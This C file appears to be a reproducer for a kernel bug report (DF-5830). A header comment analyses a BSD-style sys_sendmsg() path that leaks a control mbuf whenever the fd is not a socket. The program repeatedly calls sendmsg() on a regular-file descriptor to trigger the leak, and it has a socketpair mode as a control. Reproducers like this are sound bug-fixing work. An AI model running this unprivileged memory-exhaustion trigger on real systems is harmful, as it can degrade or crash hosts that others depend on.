DF-5830 / leaksendmsg.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /* * DF-5830 — sys_sendmsg() MT_CONTROL mbuf leak on non-socket fd * * sys/kern/uipc_syscalls.c sys_sendmsg(): * control = m_get(M_WAITOK, MT_CONTROL); (line 940) * ... copyin ... (line 942) * error = kern_sendmsg(uap->s, sa, &auio, control, ...); (line 950) * * kern_sendmsg(): * error = holdsock(td, s, &fp); * if (error) * return (error); <-- (uipc_syscalls.c:799-801) * * When `s` is not a socket (ENOTSOCK) or a bad fd (EBADF), kern_sendmsg * returns BEFORE any consumer takes ownership of `control`. sys_sendmsg's * cleanup path frees `iov` and `sa` but never `control`: * cleanup: * iovec_free(&iov, aiov); * cleanup2: * if (sa) kfree(sa, M_SONAME); * return (error); * * => one permanently-leaked 256-byte mbuf per syscall, unprivileged, * unbounded, never reclaimed (mbuf zone objects with no references). * * usage: leaksendmsg <iters> [control-check] * default: hammer sendmsg() on a regular-file fd -> leak * arg2 "ok": sendmsg() on a real AF_UNIX socketpair -> no leak (control) */ #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char **argv) { long iters = (argc > 1) ? atol(argv[1]) : 100000; int control_check = (argc > 2 && !strcmp(argv[2], "ok")); int badfd, goodfd[2], s; struct msghdr msg; struct iovec iov; char cbuf[CMSG_SPACE(sizeof(int)) * 4]; char data[4] = "junk"; struct cmsghdr *cm; long i; int rc; badfd = open("/etc/passwd", O_RDONLY); /* DTYPE_VNODE */ if (badfd < 0) { perror("open"); return 1; } if (socketpair(AF_UNIX, SOCK_DGRAM, 0, goodfd) < 0) { perror("socketpair"); return 1; } /* build a valid-looking SCM_RIGHTS ancillary message */ memset(cbuf, 0, sizeof(cbuf)); cm = (struct cmsghdr *)cbuf; cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; cm->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(cm) = badfd; /* fd we "pass" */ iov.iov_base = data; iov.iov_len = sizeof(data); memset(&msg, 0, sizeof(msg)); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = CMSG_LEN(sizeof(int)); s = control_check ? goodfd[0] : badfd; for (i = 0; i < iters; i++) { rc = sendmsg(s, &msg, 0); if (control_check) { if (rc < 0) { fprintf(stderr, "iter %ld: errno %d (%s)\n", i, errno, strerror(errno)); return 1; } /* drain the peer so the socket never backpressures */ recv(goodfd[1], data, sizeof(data), MSG_DONTWAIT); } else { if (rc >= 0) { fprintf(stderr, "iter %ld: unexpected success\n", i); return 1; } if (errno != ENOTSOCK) { fprintf(stderr, "iter %ld: unexpected errno %d (%s)\n", i, errno, strerror(errno)); return 1; } } } printf("OK: %ld sendmsg calls on %s (%s)\n", iters, control_check ? "AF_UNIX socketpair" : "regular-file fd", control_check ? "control consumed" : "all ENOTSOCK"); return 0; } |